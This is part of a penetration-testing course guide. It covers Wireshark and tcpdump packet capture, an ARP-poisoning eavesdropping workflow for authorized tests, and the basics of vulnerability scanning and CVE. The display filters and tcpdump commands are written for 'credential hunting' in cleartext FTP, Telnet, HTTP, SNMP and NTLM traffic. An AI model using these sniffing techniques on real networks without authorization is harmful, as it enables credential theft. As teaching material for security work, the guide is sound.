  
  3.2.10 Network Sniffing with Wireshark — The Complete Guide
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Wireshark's Role in Penetration Testing
&lt;/h3&gt;

&lt;p&gt;Wireshark is the world's most widely used network protocol analyzer. It captures network packets in real time — or reads them from previously saved capture files — and provides deep inspection of every layer of every protocol in those packets.&lt;/p&gt;

&lt;p&gt;For a penetration tester, Wireshark serves several distinct purposes depending on the phase of the engagement. During active reconnaissance, it lets you analyze the traffic patterns on a network segment you have access to — understanding what protocols are in use, what the "normal" traffic looks like, and identifying interesting communications. During exploitation, it helps verify that your payloads are reaching the target correctly and that responses are coming back. During a man-in-the-middle attack, it captures the decrypted traffic flowing through your machine.&lt;/p&gt;

&lt;p&gt;But perhaps most importantly, Wireshark is a learning tool. There is no better way to understand a protocol than to capture real traffic using that protocol and examine each packet in detail. Want to understand exactly how the TLS handshake works? Capture an HTTPS connection and walk through it. Want to understand what NTLM authentication looks like? Capture a Windows login and follow the SMB authentication sequence. The ability to see real protocols in action transforms abstract concepts into concrete, observable behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  Capturing Traffic with Wireshark
&lt;/h3&gt;

&lt;p&gt;When you launch Wireshark with sufficient privileges (root or a user in the &lt;code&gt;wireshark&lt;/code&gt; group on Linux), you are presented with a list of network interfaces. Selecting an interface and clicking the shark-fin "Start Capturing" button begins recording all packets that the interface receives.&lt;/p&gt;

&lt;p&gt;The key question is which interface to use. On a typical Linux penetration testing machine:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;eth0&lt;/code&gt; or &lt;code&gt;ens33&lt;/code&gt; is the primary Ethernet interface — this is your wired network connection. Choose this for capturing traffic on a wired network segment.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wlan0&lt;/code&gt; is the wireless interface in normal mode — captures wireless management traffic. For capturing wireless data traffic, you need to put the interface into monitor mode first (using &lt;code&gt;airmon-ng start wlan0&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;lo&lt;/code&gt; is the loopback interface — captures traffic between processes on your own machine. Useful for testing locally running services.&lt;/p&gt;

&lt;p&gt;After capturing, you save the capture as a &lt;code&gt;.pcap&lt;/code&gt; or &lt;code&gt;.pcapng&lt;/code&gt; file for later analysis. This is important for documentation — your captured packets are evidence for your penetration test report.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Wireshark Interface
&lt;/h3&gt;

&lt;p&gt;The Wireshark interface has three main panels that work together.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Packet List panel&lt;/strong&gt; at the top shows each captured packet as one row, with columns for packet number, timestamp, source IP, destination IP, protocol, length, and a brief description. Colors indicate protocol types (green for TCP, blue for DNS, yellow for ARP, etc.) and anomalies (red for errors).&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Packet Details panel&lt;/strong&gt; in the middle shows the dissected structure of the selected packet — every layer expanded into its component fields. This is where you read the actual values of IP TTL, TCP flags, HTTP headers, DNS query names, and every other protocol field.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;Packet Bytes panel&lt;/strong&gt; at the bottom shows the raw bytes of the selected packet in hexadecimal on the left and ASCII on the right. When you click a field in the Packet Details panel, the corresponding bytes are highlighted in the Packet Bytes panel — directly showing you which bytes in the raw packet encode which protocol field.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wireshark Display Filters — The Complete Practical Guide
&lt;/h3&gt;

&lt;p&gt;Display filters are what make Wireshark usable on real captures. A busy corporate network generates thousands of packets per second — without filtering, finding anything in the noise is impossible. The filter language allows precise, specific queries.&lt;/p&gt;

&lt;p&gt;The syntax follows a consistent pattern: &lt;code&gt;protocol.field_name operator value&lt;/code&gt;. For example, &lt;code&gt;ip.src&lt;/code&gt; is the source IP address field in the IP protocol layer. &lt;code&gt;tcp.flags.syn&lt;/code&gt; is the SYN flag field in the TCP layer. &lt;code&gt;http.request.method&lt;/code&gt; is the method field in HTTP requests.&lt;/p&gt;

&lt;p&gt;Operators include &lt;code&gt;==&lt;/code&gt; (equals), &lt;code&gt;!=&lt;/code&gt; (not equals), &lt;code&gt;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;&lt;/code&gt; (greater/less than), &lt;code&gt;contains&lt;/code&gt; (string contains substring), and &lt;code&gt;matches&lt;/code&gt; (regular expression match). Conditions combine with &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; (AND), &lt;code&gt;||&lt;/code&gt; (OR), and &lt;code&gt;!&lt;/code&gt; (NOT).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ============================================================&lt;/span&gt;
&lt;span class="c"&gt;# ESSENTIAL DISPLAY FILTERS FOR PENETRATION TESTING&lt;/span&gt;
&lt;span class="c"&gt;# ============================================================&lt;/span&gt;

&lt;span class="c"&gt;# --- Credential Hunting ---&lt;/span&gt;

&lt;span class="c"&gt;# HTTP POST requests — these carry login form data&lt;/span&gt;
http.request.method &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt;

&lt;span class="c"&gt;# HTTP traffic containing "password" anywhere in the packet&lt;/span&gt;
http contains &lt;span class="s2"&gt;"password"&lt;/span&gt;

&lt;span class="c"&gt;# HTTP Authorization header (Basic Auth sends base64-encoded credentials)&lt;/span&gt;
http.authorization

&lt;span class="c"&gt;# FTP login commands — these are always cleartext&lt;/span&gt;
ftp.request.command &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"USER"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; ftp.request.command &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"PASS"&lt;/span&gt;

&lt;span class="c"&gt;# All Telnet traffic (completely cleartext protocol)&lt;/span&gt;
telnet

&lt;span class="c"&gt;# SNMP with community strings visible&lt;/span&gt;
snmp

&lt;span class="c"&gt;# NTLM authentication exchanges (Windows credential material)&lt;/span&gt;
ntlmssp


&lt;span class="c"&gt;# --- Traffic Analysis ---&lt;/span&gt;

&lt;span class="c"&gt;# All traffic between two specific hosts&lt;/span&gt;
ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.100 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 10.10.10.50

&lt;span class="c"&gt;# All traffic from one source to anywhere&lt;/span&gt;
ip.src &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.100

&lt;span class="c"&gt;# Traffic from an entire subnet&lt;/span&gt;
ip.src &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.0/24

&lt;span class="c"&gt;# Traffic on a specific port&lt;/span&gt;
tcp.port &lt;span class="o"&gt;==&lt;/span&gt; 8080
udp.port &lt;span class="o"&gt;==&lt;/span&gt; 161

&lt;span class="c"&gt;# All DNS queries (who is this machine looking up?)&lt;/span&gt;
dns.flags.response &lt;span class="o"&gt;==&lt;/span&gt; 0

&lt;span class="c"&gt;# DNS queries for a specific domain&lt;/span&gt;
dns.qry.name contains &lt;span class="s2"&gt;"internal"&lt;/span&gt;
dns.qry.name &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"secretproject.targetco.local"&lt;/span&gt;

&lt;span class="c"&gt;# All ARP traffic (see who is doing network discovery)&lt;/span&gt;
arp

&lt;span class="c"&gt;# ARP requests only (not replies)&lt;/span&gt;
arp.opcode &lt;span class="o"&gt;==&lt;/span&gt; 1


&lt;span class="c"&gt;# --- TCP Analysis ---&lt;/span&gt;

&lt;span class="c"&gt;# New connection initiations (SYN without ACK = start of handshake)&lt;/span&gt;
tcp.flags.syn &lt;span class="o"&gt;==&lt;/span&gt; 1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; tcp.flags.ack &lt;span class="o"&gt;==&lt;/span&gt; 0

&lt;span class="c"&gt;# Connection resets (can indicate scanning, blocking, or errors)&lt;/span&gt;
tcp.flags.reset &lt;span class="o"&gt;==&lt;/span&gt; 1

&lt;span class="c"&gt;# TCP retransmissions (network issues or dropped packets)&lt;/span&gt;
tcp.analysis.retransmission

&lt;span class="c"&gt;# Zero window (receiver cannot accept more data — resource exhaustion)&lt;/span&gt;
tcp.analysis.zero_window

&lt;span class="c"&gt;# Large packets (potential file transfer, could be exfiltration)&lt;/span&gt;
tcp.len &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 10000 &lt;span class="o"&gt;||&lt;/span&gt; udp.length &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 1000


&lt;span class="c"&gt;# --- Protocol-Specific ---&lt;/span&gt;

&lt;span class="c"&gt;# SMB traffic (Windows file sharing, authentication)&lt;/span&gt;
smb &lt;span class="o"&gt;||&lt;/span&gt; smb2

&lt;span class="c"&gt;# SSH traffic (identifies servers offering remote access)&lt;/span&gt;
ssh

&lt;span class="c"&gt;# RDP traffic (Remote Desktop)&lt;/span&gt;
rdp

&lt;span class="c"&gt;# HTTP error responses (reveals application behavior under stress)&lt;/span&gt;
http.response.code &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 400

&lt;span class="c"&gt;# All HTTPS (encrypted, but metadata like SNI and cert subject visible)&lt;/span&gt;
tls

&lt;span class="c"&gt;# TLS handshake packets (reveals SNI — Server Name Indication — which&lt;/span&gt;
&lt;span class="c"&gt;# hostname the client is trying to connect to, even in encrypted traffic)&lt;/span&gt;
tls.handshake.type &lt;span class="o"&gt;==&lt;/span&gt; 1


&lt;span class="c"&gt;# --- Investigation Shortcuts ---&lt;/span&gt;

&lt;span class="c"&gt;# Everything except your own SSH connection to avoid noise&lt;/span&gt;
&lt;span class="o"&gt;!(&lt;/span&gt;tcp.port &lt;span class="o"&gt;==&lt;/span&gt; 22 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip.addr &lt;span class="o"&gt;==&lt;/span&gt; 192.168.1.50&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;# Find packets referencing specific string (useful for credential hunting)&lt;/span&gt;
frame contains &lt;span class="s2"&gt;"admin"&lt;/span&gt;
frame contains &lt;span class="s2"&gt;"password"&lt;/span&gt;
frame contains &lt;span class="s2"&gt;"secret"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Follow Stream Feature — Seeing Conversations
&lt;/h3&gt;

&lt;p&gt;The most powerful single feature in Wireshark for credential capture and data analysis is "Follow Stream." When you right-click any packet in a session and choose "Follow → TCP Stream" (or "HTTP Stream" or "TLS Stream"), Wireshark reassembles the entire conversation between the two parties — every packet, in order, reconstructed into a coherent dialogue.&lt;/p&gt;

&lt;p&gt;The display shows client-to-server traffic in one color and server-to-client traffic in another. For an HTTP login transaction, you see the complete HTTP request including all headers and the POST body (which contains the username and password), followed by the complete HTTP response.&lt;/p&gt;

&lt;p&gt;For FTP, you see the entire session: the server's greeting, the client's USER command with the username, the server's "331 Password required" response, the client's PASS command with the password in cleartext, and all subsequent file transfer commands.&lt;/p&gt;

&lt;p&gt;For Telnet, you see every character typed and every character the server sent back — including the login: and Password: prompts and the keystrokes used to answer them.&lt;/p&gt;

&lt;p&gt;This view is often what goes directly into a penetration test report: a screenshot of "Follow TCP Stream" showing cleartext credentials is unambiguous evidence of a critical security finding.&lt;/p&gt;

&lt;h3&gt;
  
  
  tcpdump — When Wireshark Is Not Available
&lt;/h3&gt;

&lt;p&gt;Wireshark requires a graphical interface. In many real-world penetration testing scenarios — remote servers accessed via SSH, headless Linux VMs, cloud instances — there is no GUI available. tcpdump is the command-line packet capture tool that provides the same capture capability in pure text form.&lt;/p&gt;

&lt;p&gt;tcpdump captures packets and displays them as text, or saves them to &lt;code&gt;.pcap&lt;/code&gt; files that can be analyzed in Wireshark later. This is the most common professional workflow: use tcpdump to capture on a remote machine over SSH, then transfer the &lt;code&gt;.pcap&lt;/code&gt; file to your local machine and analyze it in Wireshark.&lt;/p&gt;

&lt;p&gt;tcpdump's filtering syntax is BPF (Berkeley Packet Filter) — a powerful filter language also used by the Linux kernel's firewall subsystem. It is different from Wireshark's display filter syntax but follows similar logical principles.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture all traffic on eth0 to a file&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap

&lt;span class="c"&gt;# Capture with a filter — only HTTP and HTTPS traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/web_traffic.pcap &lt;span class="s1"&gt;'port 80 or port 443'&lt;/span&gt;

&lt;span class="c"&gt;# Capture to file with timestamps and without DNS resolution&lt;/span&gt;
&lt;span class="c"&gt;# -n = no DNS resolution (faster, avoids polluting capture with DNS queries)&lt;/span&gt;
&lt;span class="c"&gt;# -nn = no DNS resolution AND no port name resolution (shows 80, not http)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap

&lt;span class="c"&gt;# Watch traffic in real time — print packets in ASCII&lt;/span&gt;
&lt;span class="c"&gt;# -A = print packet in ASCII (great for seeing cleartext credentials)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; port 80

&lt;span class="c"&gt;# Watch traffic in real time — print in hex and ASCII&lt;/span&gt;
&lt;span class="c"&gt;# -X = hex + ASCII&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-X&lt;/span&gt; port 80

&lt;span class="c"&gt;# Capture only FTP authentication (always cleartext)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'port 21'&lt;/span&gt;

&lt;span class="c"&gt;# Capture SNMP traffic to read community strings&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'udp port 161'&lt;/span&gt;

&lt;span class="c"&gt;# Capture between specific hosts&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'host 192.168.1.100 and host 192.168.1.1'&lt;/span&gt;

&lt;span class="c"&gt;# Capture everything EXCEPT SSH (so your own session does not appear)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'not port 22'&lt;/span&gt;

&lt;span class="c"&gt;# Capture for a time limit then stop&lt;/span&gt;
&lt;span class="nb"&gt;sudo timeout &lt;/span&gt;60 tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/sixty_second_capture.pcap

&lt;span class="c"&gt;# Read and analyze a pcap file with tcpdump&lt;/span&gt;
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/capture.pcap
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/capture.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'port 80'&lt;/span&gt;

&lt;span class="c"&gt;# Extract HTTP POST bodies from a capture file&lt;/span&gt;
tcpdump &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/capture.pcap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="s1"&gt;'tcp port 80'&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"POST"&lt;/span&gt;

&lt;span class="c"&gt;# Capture with rotation — new file every 100MB, keep last 5 files&lt;/span&gt;
&lt;span class="c"&gt;# Prevents capture files from growing indefinitely&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-C&lt;/span&gt; 100 &lt;span class="nt"&gt;-W&lt;/span&gt; 5 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/capture.pcap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Putting It Together — A Complete Eavesdropping Workflow
&lt;/h3&gt;

&lt;p&gt;The complete workflow for network eavesdropping in an authorized internal penetration test looks like this:&lt;/p&gt;

&lt;p&gt;First, you verify you have network access to the target segment — either through physical access (your testing machine is connected to the network) or through a compromised machine that gives you routing access.&lt;/p&gt;

&lt;p&gt;Second, if on a switched network without a SPAN port, you set up ARP poisoning to redirect traffic through your machine. You enable IP forwarding so the traffic continues to flow normally — the goal is to intercept, not disrupt.&lt;/p&gt;

&lt;p&gt;Third, you start capturing with either Wireshark or tcpdump. If using tcpdump on a remote machine, you start it with output to a file.&lt;/p&gt;

&lt;p&gt;Fourth, you let the capture run for a sufficient period to observe normal network activity. Business hours produce much richer captures than off-hours because users are actually doing things — browsing intranet sites, accessing file shares, authenticating to services.&lt;/p&gt;

&lt;p&gt;Fifth, you analyze the capture using display filters in Wireshark — hunting for credentials, sensitive data, interesting protocol interactions, and evidence of security weaknesses.&lt;/p&gt;

&lt;p&gt;Finally, you document your findings with packet captures and screenshots as evidence, clean up your ARP poisoning to restore normal network operation, and include the findings in your penetration test report.&lt;/p&gt;

&lt;p&gt;Every cleartext credential found, every unencrypted sensitive data transmission, every protocol vulnerability revealed through traffic analysis is a documented finding with cryptographically robust evidence: the actual captured packets.&lt;/p&gt;




&lt;h1&gt;
  
  
  Module 3 — Section 3.3: Understanding the Art of Performing Vulnerability Scans
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Written to build deep understanding, not just tool familiarity.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;3.3.1 Overview — What Vulnerability Scanning Actually Is&lt;/li&gt;
&lt;li&gt;3.3.2 How a Typical Automated Vulnerability Scanner Works&lt;/li&gt;
&lt;li&gt;3.3.3 The CVE and CVSS Systems — The Language of Vulnerability&lt;/li&gt;
&lt;li&gt;3.3.4 Types of Vulnerability Scans&lt;/li&gt;
&lt;li&gt;3.3.5 The Major Vulnerability Scanning Tools — Deep Comparison&lt;/li&gt;
&lt;li&gt;3.3.6 Vulnerability Scanning with Kali Tools — Practical Reference&lt;/li&gt;
&lt;li&gt;3.3.7 Challenges to Consider When Running a Vulnerability Scan&lt;/li&gt;
&lt;li&gt;3.3.8 Vulnerability Scanning in the Penetration Testing Lifecycle&lt;/li&gt;
&lt;li&gt;3.3.9 Interpreting and Acting on Scan Results&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3.3.1 Overview — What Vulnerability Scanning Actually Is
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Gap Between Knowing What Is There and Knowing What Is Wrong
&lt;/h3&gt;

&lt;p&gt;After active reconnaissance, you know what is on the network: which hosts are live, which ports are open, what services and versions are running, and what operating systems those hosts use. This is enormous progress — but it is only inventory. Knowing that Apache Tomcat 9.0.37 is running on port 8080 does not automatically tell you whether that specific version has any known security weaknesses, and if so, how severe they are and whether they are exploitable from the network.&lt;/p&gt;

&lt;p&gt;Vulnerability scanning bridges this gap. It takes the inventory produced by reconnaissance and cross-references it against databases of known security weaknesses, asking a very specific question for each discovered asset: "Does this system or service have any known vulnerabilities that an attacker could exploit?"&lt;/p&gt;

&lt;p&gt;The answer comes from matching what the scanner observes — software versions, protocol behaviors, configuration responses, service banners — against a continuously maintained database of known vulnerabilities. This database, at its foundation, is derived from the global CVE (Common Vulnerabilities and Exposures) system, maintained by MITRE and enriched by the National Vulnerability Database (NVD) at NIST.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerability Scanning vs. Penetration Testing — A Critical Distinction
&lt;/h3&gt;

&lt;p&gt;This distinction is one of the most commonly misunderstood points in cybersecurity, and understanding it clearly is important both for passing certification exams and for being credible in professional conversations with clients.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability scanning&lt;/strong&gt; is automated and primarily passive in its impact. The scanner discovers and reports weaknesses. It does not prove that those weaknesses are actually exploitable, does not chain vulnerabilities together to achieve a larger goal, and does not demonstrate business impact. A scanner that finds Apache Struts version 2.3.5 will report CVE-2017-5638 (the Equifax breach vulnerability) — but it will not log in to the database, extract customer records, and demonstrate that a breach occurred.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Penetration testing&lt;/strong&gt; takes vulnerability scan results as starting intelligence and then actively attempts to exploit those vulnerabilities. It confirms which reported vulnerabilities are actually exploitable in the specific environment, chains individual weaknesses into attack paths, pivots from one compromised system to the next, and ultimately produces evidence of what a real attacker could achieve. A penetration tester who finds CVE-2017-5638 will write and execute an exploit, gain a shell on the server, and demonstrate exactly what data is accessible.&lt;/p&gt;

&lt;p&gt;The analogy that makes this concrete: vulnerability scanning is like a doctor looking at an X-ray and identifying where there might be fractures. Penetration testing is the doctor pressing on each suspected fracture point to determine which ones are actually broken and how seriously.&lt;/p&gt;

&lt;p&gt;Both are essential. Organizations typically run vulnerability scans continuously or weekly, and penetration tests annually or after significant changes. The scans provide broad, frequent coverage; the penetration test provides depth and confirmation of real-world risk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where Vulnerability Scanning Sits in the Attack Lifecycle
&lt;/h3&gt;

&lt;p&gt;In the penetration testing methodology, vulnerability scanning comes after active reconnaissance (which built the asset inventory) and directly informs the exploitation phase. The output of a well-executed vulnerability scan is essentially a prioritized shortlist of potential attack vectors, with the most severe and most easily exploitable vulnerabilities at the top.&lt;/p&gt;

&lt;p&gt;A professional penetration tester does not run a vulnerability scan, stare at the output, and then immediately start exploiting everything with a CVSS score above 7. The scan output is a starting point — a candidate list that requires human analysis, verification, and strategic thinking before exploitation begins. Which vulnerabilities are actually reachable from the attacker's current position? Which have public exploits available? Which, if exploited, lead toward the engagement's target objectives? Which are likely false positives given the environment? Answering these questions requires the human expertise that automation cannot replace.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.3.2 How a Typical Automated Vulnerability Scanner Works
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Architecture of a Vulnerability Scanner
&lt;/h3&gt;

&lt;p&gt;Understanding how vulnerability scanners work at a mechanical level helps you interpret their output correctly, understand their limitations, and make better decisions about when and how to use them.&lt;/p&gt;

&lt;p&gt;Every major vulnerability scanner — Nessus, OpenVAS, Nexpose, Qualys — shares the same fundamental architecture, even though their implementations differ. The architecture consists of four phases that happen in sequence during every scan.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 1: Discovery and Asset Inventory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before checking for vulnerabilities, the scanner must know what it is scanning. It performs its own host discovery and port scanning, essentially running a built-in version of what you would do manually with Nmap. It identifies which IP addresses are live, which ports are open, and which services are running. Many scanners use Nmap internally or a similar port scanning engine.&lt;/p&gt;

&lt;p&gt;This phase is where the scanner builds its picture of the attack surface. For each discovered host and service, it prepares to execute the relevant vulnerability checks. It would be wasteful to run Apache-specific vulnerability checks against a host that only has Windows services running — the scanner's intelligence about what is running on each host determines which vulnerability checks are relevant.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 2: Fingerprinting and Version Detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With the open ports identified, the scanner sends protocol-specific probes to determine the exact software and version running on each port. It is doing the same work as Nmap's &lt;code&gt;-sV&lt;/code&gt; flag but with a more comprehensive probe database and more sophisticated version extraction logic.&lt;/p&gt;

&lt;p&gt;This phase is where the scanner determines that port 8080 is running Apache Tomcat 9.0.37 (not just "something HTTP"), that port 22 is running OpenSSH 8.2p1 on Ubuntu 20.04.5 (not just "something SSH"), and that port 445 is running Windows Server 2016 SMB (not just "Windows SMB"). The more precisely it can determine versions, the more precisely it can match against the vulnerability database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 3: Vulnerability Checks (Plugins/NVTs)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the core of the scanner's work. For each discovered service with a determined version, the scanner consults its vulnerability database and executes the relevant checks. These checks are called "plugins" in Nessus and "Network Vulnerability Tests" (NVTs) in OpenVAS.&lt;/p&gt;

&lt;p&gt;Each plugin checks for a specific vulnerability or class of vulnerabilities. Some checks are entirely passive — the scanner simply compares the detected version number against a range of known-vulnerable versions. If Apache Tomcat 9.0.37 is detected, and the vulnerability database knows that versions 9.0.0 through 9.0.43 are vulnerable to CVE-2021-41079, the plugin reports a match.&lt;/p&gt;

&lt;p&gt;Other checks are more active — the scanner sends specific probe packets designed to elicit responses that reveal whether a vulnerability exists. For Heartbleed, the scanner sends a specially crafted TLS heartbeat request and measures the response size; a response that is larger than the request indicates the vulnerability is present and the server is returning server memory content. For EternalBlue, the scanner sends a specific SMB negotiation sequence and analyzes the response.&lt;/p&gt;

&lt;p&gt;Some checks are behavioral — they attempt to detect vulnerability by observing how the service behaves under specific conditions. These are more reliable than pure version-matching but more likely to cause service disruption.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 4: Reporting and Scoring&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With all checks complete, the scanner compiles its findings and assigns severity scores using the CVSS framework. It generates a report that lists each discovered vulnerability with its CVE identifier, CVSS score, affected asset, description of the vulnerability, evidence that the scanner used to determine the vulnerability was present, and remediation guidance.&lt;/p&gt;

&lt;p&gt;The quality of this report is where scanners differentiate themselves significantly. A well-configured scanner with authenticated access to the target systems generates reports that are accurate, prioritized, and actionable. A poorly configured scanner running unauthenticated produces reports full of version-matched findings that may or may not be accurate, requiring significant manual verification.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Plugin/NVT Database — The Scanner's Knowledge Base
&lt;/h3&gt;

&lt;p&gt;The vulnerability database is the scanner's brain. A scanner that has not been updated in six months is a scanner that does not know about the past six months' worth of CVEs — which could be thousands of vulnerabilities. This is not a hypothetical concern: in 2024, NIST's NVD recorded over 29,000 new CVE entries. Keeping scanner databases current is an operational requirement, not an optional maintenance task.&lt;/p&gt;

&lt;p&gt;Nessus calls its vulnerability checks "plugins." As of 2024, Nessus has over 200,000 plugins. These plugins are written in a domain-specific language called NASL (Nessus Attack Scripting Language) and distributed through Tenable's update feed. A Nessus subscription includes daily plugin updates — critical for maintaining coverage of newly disclosed vulnerabilities.&lt;/p&gt;

&lt;p&gt;OpenVAS uses "Network Vulnerability Tests" (NVTs), also written in NASL. The community feed contains over 160,000 NVTs as of mid-2024. The commercial Greenbone Enterprise feed contains additional tests not available in the community version.&lt;/p&gt;

&lt;p&gt;The scanner's plugin/NVT database is essentially a structured library of knowledge about every known vulnerability, organized by affected software, version ranges, and check methodology. When you see Nessus report CVE-2021-44228 (Log4Shell), it is because a plugin exists that knows exactly how to probe for that vulnerability and what a positive response looks like.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.3.3 The CVE and CVSS Systems — The Language of Vulnerability
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CVE — Common Vulnerabilities and Exposures
&lt;/h3&gt;

&lt;p&gt;CVE is the global standard for identifying and naming individual vulnerabilities. Every known vulnerability in publicly released software receives a CVE identifier — a unique reference number that lets security teams, vendors, researchers, and tools speak about a specific vulnerability without ambiguity.&lt;/p&gt;

&lt;p&gt;The format is straightforward: &lt;code&gt;CVE-[year]-[sequence number]&lt;/code&gt;. CVE-2021-44228 is vulnerability number 44228 discovered and reported in 2021. The year component does not necessarily reflect when the vulnerability was exploited or even when it was first introduced into software — it reflects when the CVE was assigned, which happens when the vulnerability is publicly disclosed or reported to MITRE.&lt;/p&gt;

&lt;p&gt;CVE is maintained by MITRE Corporation under sponsorship from the U.S. Department of Homeland Security. The assignment process involves CVE Numbering Authorities (CNAs) — organizations that have been authorized to assign CVE numbers for vulnerabilities in their own products or domains. Microsoft, Google, Apple, Cisco, and hundreds of other organizations are CNAs. When they discover a vulnerability in their own software, they assign it a CVE number as part of their responsible disclosure process.&lt;/p&gt;

&lt;p&gt;The National Vulnerability Database (NVD) at NIST enriches CVE records with additional data: CVSS scores, vulnerability classifications (using CWE — Common Weakness Enumeration), links to vendor advisories, and reference URLs. When a security analyst or a vulnerability scanner looks up CVE-2021-44228, they are typically consulting the NVD record for the full picture.&lt;/p&gt;

